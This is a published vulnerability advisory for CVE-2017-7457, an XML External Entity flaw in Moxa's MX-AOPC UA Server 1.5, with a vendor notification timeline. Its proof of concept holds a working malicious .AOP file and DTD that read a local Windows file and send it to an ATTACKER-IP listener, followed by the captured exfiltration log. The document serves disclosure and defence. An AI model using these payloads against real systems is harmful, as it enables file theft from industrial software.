[+] Credits: John Page AKA HYP3RLINX  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOXA-MX-AOPC-SERVER-v1.5-XML-EXTERNAL-ENTITY.txt
[+] ISR: ApparitionSec            
 


Vendor:
============
www.moxa.com



Product:
=======================
MX-AOPC UA SERVER - 1.5

Moxa's MX-AOPC UA Suite is the first OPC UA server for industrial automation supporting both push and pull communication.



Vulnerability Type:
==============================
XML External Entity Injection



CVE Reference:
==============
CVE-2017-7457



Security Issue:
================
XML External Entity via ".AOP" files used by MX-AOPC Server result in remote file disclosure. If local user opens
a specially crafted malicious MX-AOPC Server file type.



Exploit/POC:
=============
run MX-AOPC UA Server / Runtime / Start Server Runtime Service 

a) ATTACKER SERVER LISTENER we will access Windows msfmap.ini as proof of concept
python -m SimpleHTTPServer 8080

"Evil.AOP" file

<?xml version="1.0"?>  
<!DOCTYPE roottag [ 
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


b) Evil "payload.dtd" file host on ATTACKER SERVER

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">
%all;


e.g.

python -m SimpleHTTPServer 8080

Serving HTTP on 0.0.0.0 port 8080 ...

VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /payload.dtd HTTP/1.1" 200 -
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /?;[connect%20name]%20will%20modify%20the%20connection%20if%20ADC.connect="name";[connect%20default]%20will%20modify%20the%20connection%20if%20name%20is%20not%20found;[sql%20name]%20will%20modify%20the%20Sql%20if%20ADC.sql="name(args)";[sql%20default]%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.;Only%20the%20Sql%20strings%20support%20parameters%20using%20"?";The%20override%20strings%20must%20not%20equal%20""%20or%20they%20are%20ignored;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored;Access=NoAccess;Access=ReadOnly;Access=ReadWrite;[userlist%20name]%20allows%20specific%20users%20to%20have%20special%20access;The%20Access%20is%20computed%20as%20follows:;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.;%20%20(2)%20If%20a%20user%20entry%20is%20found,%20it%20will%20override.[connect%20default];If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccessAccess=NoAccess[sql%20default];If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.Sql="%20"[connect%20CustomerDatabase]Access=ReadWriteConnect="DSN=AdvWorks"[sql%20CustomerById]Sql="SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?"[connect%20AuthorDatabase]Access=ReadOnlyConnect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"[userlist%20AuthorDatabase]Administrator=ReadWrite[sql%20AuthorById]Sql="SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?" HTTP/1.1" 200 -



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
==========================================================
Vendor Notification:  March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx